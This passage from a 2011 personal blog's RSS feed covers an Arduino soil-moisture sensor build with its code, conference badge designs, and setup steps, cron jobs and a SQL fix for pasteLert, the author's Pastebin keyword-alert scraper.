<p>After this just strip either end of the wire and coil one side round one of the nuts (its essentially our &#8216;sensor&#8217;), you will need two pieces per sensor. Basically looks like this:</p>
<div class="mceTemp mceIEcenter" style="text-align: left;">
<dl id="attachment_304" class="wp-caption   aligncenter" style="width: 160px;">
<dt class="wp-caption-dt"><a href="http://andrewmohawk.com/wp-content/uploads/2011/10/coiled.jpg"><img class="size-thumbnail wp-image-304" title="Coiled Sensor" src="http://andrewmohawk.com/wp-content/uploads/2011/10/coiled-150x150.jpg" alt="Coiled Sensor" width="150" height="150" /></a></dt>
<dd class="wp-caption-dd">Coiled Sensor</dd>
</dl>
</div>
<p>Next you want to connect this to the Arduino. One &#8216;sensor&#8217; is connected to your 5V source. The other &#8216;sensor&#8217; is connected to one side of the resistor along with a line to an analog port. The other side of the sensor is merely connected to the ground of the Arduino.</p>
<p>You can then read the resistence by simply doing something like: <em><strong>soilMoisture = analogRead(0)</strong></em> if it was connected to analog port 0.</p>
<p>Heres a video I made of a single sensor, and you can see the value changing as I pour water into the  pot:</p>
<p><object style="height: 390px; width: 640px;"><param name="movie" value="http://www.youtube.com/v/BPgtkBPbY_4?version=3" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><embed type="application/x-shockwave-flash" width="640" height="360" src="http://www.youtube.com/v/BPgtkBPbY_4?version=3" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p>Of course just 1 sensor is cool, but we can do better, we can place 3 sensors at different levels of the pot and monitor the changes in resistence as the water trickles down to the roots, I also have an LCD connected to mine as you saw in the previous video to watch the changes. Here is the a 3 sensor system to watch the water adding resistance at depths.</p>
<div id="attachment_305" class="wp-caption aligncenter" style="width: 160px"><a href="http://andrewmohawk.com/wp-content/uploads/2011/10/3Sensors.jpg"><img class="size-thumbnail wp-image-305" title="3 Sensor Setup" src="http://andrewmohawk.com/wp-content/uploads/2011/10/3Sensors-150x150.jpg" alt="3 Sensor Setup" width="150" height="150" /></a><p class="wp-caption-text">3 Sensor Setup</p></div>
<p>And finally a video of it working:<br />
<object style="height: 390px; width: 640px;"><param name="movie" value="http://www.youtube.com/v/8hFtv5rJRR4?version=3" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><embed type="application/x-shockwave-flash" width="640" height="360" src="http://www.youtube.com/v/8hFtv5rJRR4?version=3" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p>Also the code for this for my Arduino:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#include &lt;LiquidCrystal.h&gt;
</span>LiquidCrystal lcd<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">12</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">11</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">4</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">3</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
int moisture_val1 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
int moisture_val2 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
int moisture_val3 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
&nbsp;
int moisture_sensor1 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
int moisture_sensor2 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
int moisture_sensor3 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span>
&nbsp;
String moistureString <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
void setup<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #666666; font-style: italic;">// set up the LCD's number of columns and rows: </span>
   lcd<span style="color: #339933;">.</span>begin<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">16</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
void loop<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  lcd<span style="color: #339933;">.</span>clear<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  lcd<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Soil Sensor:&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  lcd<span style="color: #339933;">.</span>setCursor<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  moisture_val1 <span style="color: #339933;">=</span> analogRead<span style="color: #009900;">&#40;</span>moisture_sensor1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  moisture_val2 <span style="color: #339933;">=</span> analogRead<span style="color: #009900;">&#40;</span>moisture_sensor2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  moisture_val3 <span style="color: #339933;">=</span> analogRead<span style="color: #009900;">&#40;</span>moisture_sensor3<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  moistureString <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
  moistureString <span style="color: #339933;">=</span> moisture_val1<span style="color: #339933;">;</span>
  moistureString <span style="color: #339933;">=</span> moistureString <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">;</span>
  moistureString <span style="color: #339933;">=</span> moistureString <span style="color: #339933;">+</span> moisture_val2<span style="color: #339933;">;</span>
  moistureString <span style="color: #339933;">=</span> moistureString <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">;</span>
  moistureString <span style="color: #339933;">=</span> moistureString <span style="color: #339933;">+</span> moisture_val3<span style="color: #339933;">;</span>
  moistureString <span style="color: #339933;">=</span> moistureString<span style="color: #339933;">;</span>
&nbsp;
  lcd<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span>moistureString<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  delay<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Cheers,<br />
Andrew</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2011/10/07/automated-gardening-moisture-sensor/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>zacon badges</title>
		<link>http://andrewmohawk.com/2011/09/27/zacon-badges/</link>
		<comments>http://andrewmohawk.com/2011/09/27/zacon-badges/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 00:09:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Badges]]></category>
		<category><![CDATA[ZACon]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=288</guid>
		<description><![CDATA[zacon &#8211; http://www.zacon.org.za/ &#8211; is just around the corner now, so badge submission went out. Wasn&#8217;t particularly inspired but i hacked together 3 diff ones, now we just wait and see. UPDATE Decided to go with the Spy badges, what do you think? &#160;]]></description>
			<content:encoded><![CDATA[<p>zacon &#8211; <a title="http://www.zacon.org.za/" href="http://www.zacon.org.za/">http://www.zacon.org.za/</a> &#8211; is just around the corner now, so badge submission went out. Wasn&#8217;t particularly inspired but i hacked together 3 diff ones, now we just wait and see.</p>

<a href='http://andrewmohawk.com/2011/09/27/zacon-badges/zacon3-spybadge-volunteer/' title='ZACon3-spybadge-volunteer'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2011/09/ZACon3-spybadge-volunteer-150x150.png" class="attachment-thumbnail" alt="ZACon3-spybadge-volunteer" title="ZACon3-spybadge-volunteer" /></a>
<a href='http://andrewmohawk.com/2011/09/27/zacon-badges/zacon3-spybadge-speaker/' title='ZACon3-spybadge-speaker'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2011/09/ZACon3-spybadge-speaker-150x150.png" class="attachment-thumbnail" alt="ZACon3-spybadge-speaker" title="ZACon3-spybadge-speaker" /></a>
<a href='http://andrewmohawk.com/2011/09/27/zacon-badges/zacon3-spybadge-conner/' title='ZACon3-spybadge-conner'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2011/09/ZACon3-spybadge-conner-150x150.png" class="attachment-thumbnail" alt="ZACon3-spybadge-conner" title="ZACon3-spybadge-conner" /></a>
<a href='http://andrewmohawk.com/2011/09/27/zacon-badges/zacon3-spybadge-organiser/' title='ZACon3-spybadge-organiser'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2011/09/ZACon3-spybadge-organiser-150x150.png" class="attachment-thumbnail" alt="ZACon3-spybadge-organiser" title="ZACon3-spybadge-organiser" /></a>
<a href='http://andrewmohawk.com/2011/09/27/zacon-badges/zacon3-spybadge/' title='ZACon3-spybadge'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2011/09/ZACon3-spybadge-150x150.png" class="attachment-thumbnail" alt="ZACon3-spybadge" title="ZACon3-spybadge" /></a>
<a href='http://andrewmohawk.com/2011/09/27/zacon-badges/zacon3-selloutflame/' title='ZACon3-selloutflame'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2011/09/ZACon3-selloutflame-150x150.png" class="attachment-thumbnail" alt="ZACon3-selloutflame" title="ZACon3-selloutflame" /></a>
<a href='http://andrewmohawk.com/2011/09/27/zacon-badges/zacon3-badcloud4/' title='ZACon3-badcloud4'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2011/09/ZACon3-badcloud4-150x150.png" class="attachment-thumbnail" alt="ZACon3-badcloud4" title="ZACon3-badcloud4" /></a>

<p><strong>UPDATE</strong></p>
<p>Decided to go with the Spy badges, what do you think?</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2011/09/27/zacon-badges/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>pasteLert *facepalm*</title>
		<link>http://andrewmohawk.com/2011/09/09/pastelert-facepalm/</link>
		<comments>http://andrewmohawk.com/2011/09/09/pastelert-facepalm/#comments</comments>
		<pubDate>Fri, 09 Sep 2011 10:01:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[alerting]]></category>
		<category><![CDATA[pastebin]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=284</guid>
		<description><![CDATA[Sorry guys, I noticed that I haven&#8217;t been getting any pasteLert updates, and i just realised why (see above picture for my reaction). Change line 4 in truncPastes.php from: mysql_query(&#8220;truncate pastebin&#8221;); To: mysql_query(&#8220;delete from pastebin&#8221;); &#160; Explanation: Truncate automatically resets the auto-incrementing IDs so that when the table was truncated pastes started from ID 0 [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://assets.sbnation.com/assets/562900/facepalm_medium.jpg" alt="facepalm" /></p>
<p>Sorry guys, I noticed that I haven&#8217;t been getting any pasteLert updates, and i just realised why (see above picture for my reaction).</p>
<p>Change line 4 in <strong>truncPastes.php</strong> from:</p>
<p>mysql_query(&#8220;truncate pastebin&#8221;);</p>
<p><strong>To:</strong></p>
<p>mysql_query(&#8220;delete from pastebin&#8221;);</p>
<p>&nbsp;</p>
<p><strong>Explanation:</strong></p>
<p>Truncate automatically resets the auto-incrementing IDs so that when the table was truncated pastes started from ID 0 again, which when checked against what the last ID sent to the user was obviously lower. Sorry for the headache, to fix it, apply the above then run:</p>
<p><strong>update alerts set LastID = 0;</strong></p>
<p>&nbsp;</p>
<p>Mah bad,<br />
-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2011/09/09/pastelert-facepalm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PasteLert Source</title>
		<link>http://andrewmohawk.com/2011/08/24/pastelert-source/</link>
		<comments>http://andrewmohawk.com/2011/08/24/pastelert-source/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 00:26:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[alerting]]></category>
		<category><![CDATA[pastebin]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=276</guid>
		<description><![CDATA[Ohhi Archive for pasteLert So i finally got round to putting the source together and writing this out. We&#8217;ve been really busy with Blackhat training at work and so on and i&#8217;m generally just lazy. Also releasing now mostly because the mysql database on my linode keeps crashing, its just too small a box to [...]]]></description>
			<content:encoded><![CDATA[<p>Ohhi</p>
<p><a title="Archive for pasteLert" href="http://andrewmohawk.com/pasteLert/pasteLert.zip">Archive for pasteLert</a></p>
<p>So i finally got round to putting the source together and writing this out. We&#8217;ve been really busy with Blackhat training at work and so on and i&#8217;m generally just lazy. Also releasing now mostly because the mysql database on my linode keeps crashing, its just too small a box to keep *all* pastebin entries. The code is messy, so expect arb/no commenting but its pretty straight forward, feel free to shoot through any questions you have. Also i messaged pastebin to see if they&#8217;d implement something like this or let me do it, but i didnt get any responses to any of the messages :(</p>
<p>Anyway, here is the basic rundown:</p>
<ul>
<li>Setup your mysql, create a database &#8216;pastebin&#8217; &#8211; Google will give you this info :D</li>
<li>Drop the structure in, its in the archive as pastebinStructure.sql. <em>mysql -u root -p pastebin &lt; pastebinStructure.sql</em></li>
<li>Extract the archive to its own directory in your webroot, preferably &#8216;pasteLert&#8217; :)</li>
<li>Change the setdb.php file to your mysql details. Edit alerts.php to include your email and location information rather than mine</li>
<li>Setup the crons as below</li>
</ul>
<p><strong>Crons:</strong></p>
<p>Basically there are 4 cron jobs that you need to add:</p>
<ul>
<li><strong>pullPastebin.php</strong> &#8211; this will go to http://www.pastebin.com/archive.php and get the pasteIDs and add them to `pastebin`.`pastebin`, I generally run this every 2 minutes and my cron looks like this:
<ul>
<li>*/2 * * * * php /var/www/html/andrewmohawk.com/pasteLert/pullPastebin.php</li>
</ul>
</li>
<li><strong>pullPastes.php &#8211; </strong>this script then goes and pulls each paste with a random delay between 0-5 seconds (see line 14 if you want to change that). I generally let this run every 10 minutes and looks as follows:
<ul>
<li>*/10 * * * * php /var/www/html/andrewmohawk.com/pasteLert/pullPastes.php</li>
</ul>
</li>
<li><strong>sendAlerts.php &#8211; </strong>this script sends out the alerts via email, this is really up to you, obviously as close to 10 minutes means its as close to when you have the data, mines at 15 mins:
<ul>
<li>*/15 * * * * php /var/www/html/andrewmohawk.com/pasteLert/sendAlerts.php</li>
</ul>
</li>
</ul>
<p><strong>Cron Part 2!<br />
</strong>So the reason my box was falling over was that every day i&#8217;d push all the pastebin&#8217;s from that day into another table (pastebinOldData). Essentially i have now changed mine to stop doing this and rather truncated the daily log instead of saving the data.  You however hopefully have a bigger box and can store all the data, or you can always just truncate the data, so you need to pick one of the two files, either truncPastes.php or rotatePastes.php.</p>
<p><strong>Truncate:<br />
</strong>0 1 * * * php /var/www/html/andrewmohawk.com/pasteLert/truncPastes.php</p>
<p><strong>Rotate:<br />
</strong>0 1 * * * php /var/www/html/andrewmohawk.com/pasteLert/rotatePastes.php</p>
<p>I think that pretty much covers it, feel free to mail in what you are looking for if you need any help.</p>
<p>Kthnx,<br />
Andrew</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2011/08/24/pastelert-source/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PasteLert! Pastebin Alerts!</title>
		<link>http://andrewmohawk.com/2011/06/30/pastelert-pastebin-alerts/</link>
		<comments>http://andrewmohawk.com/2011/06/30/pastelert-pastebin-alerts/#comments</comments>
		<pubDate>Thu, 30 Jun 2011 21:14:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[alerting]]></category>
		<category><![CDATA[pastebin]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=266</guid>
		<description><![CDATA[ANDREW I DONT CARE ABOUT YOUR STORIES! JUST GIVE ME THE LINK! &#62;&#62; http://andrewmohawk.com/pasteLert/ Hey guys, So here is my latest project, extending from the previous pasteScraper to do something a little different with the pastebins. Essentially i recreated google alerts but with a bit more searchiness (yes, i make up words now too). How [...]]]></description>
			<content:encoded><![CDATA[<p><code>ANDREW I DONT CARE ABOUT YOUR STORIES! JUST GIVE ME THE LINK! &gt;&gt; <a href="http://andrewmohawk.com/pasteLert/" target="_blank">http://andrewmohawk.com/pasteLert/</a></code></p>
<p>Hey guys,</p>
<p>So here is my latest project, extending from the previous <a href="http://andrewmohawk.com/2011/06/22/pastescraper-update-now-without-config/">pasteScraper</a> to do something a little different with the pastebins. Essentially i recreated google alerts but with a bit more searchiness (yes, i make up words now too).</p>
<h2>How it Works</h2>
<ul>
<li>I enumerate all new pastes from http://www.pastebin.com/archive/ every minute and add them to a &#8216;download&#8217; queue.</li>
<li>New pastes are then downloaded to a local database</li>
<li>Alerts are periodically cron&#8217;d</li>
<li>Search functionality is via a fulltext search of pastes</li>
</ul>
<h2>What does it give me?</h2>
<ul>
<li>The ability to search for *anything* on pastebin.com</li>
<li>Semi-realtime searches</li>
<li>Email alerts when your term is hit!</li>
<li>RSS feeds for searches</li>
<li>The ability to search with AND keywords in pastebins</li>
</ul>
<h2>How it is all going to fall apart</h2>
<p>I dont really see this as a long term project, merely something that  shows a PoC for how much stuff is leaking out via PasteBin.com and how  cool it really is. Some issues i see that may happen with this:</p>
<ul>
<li>People will switch to more secure pastebins that don&#8217;t allow  indexing, don&#8217;t have archive pages and arent indexed by search engines</li>
<li>My small linode will fall to pieces because the fulltext like queries are painfull</li>
<li>Pastebin.com will not be impressed with me doing this and start blocking it</li>
</ul>
<h2>Linkage</h2>
<p><a href="http://andrewmohawk.com/pasteLert/">http://andrewmohawk.com/pasteLert/</a>, feel free to play/comment/etc :)</p>
<p>-AM</p>
<p>&nbsp;</p>
<p>p.s. Thanks to <a title="Chris Hadnagy" href="https://twitter.com/#%21/humanhacker">Chris Hadnagy</a> and Roelof Temmingh :D</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2011/06/30/pastelert-pastebin-alerts/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

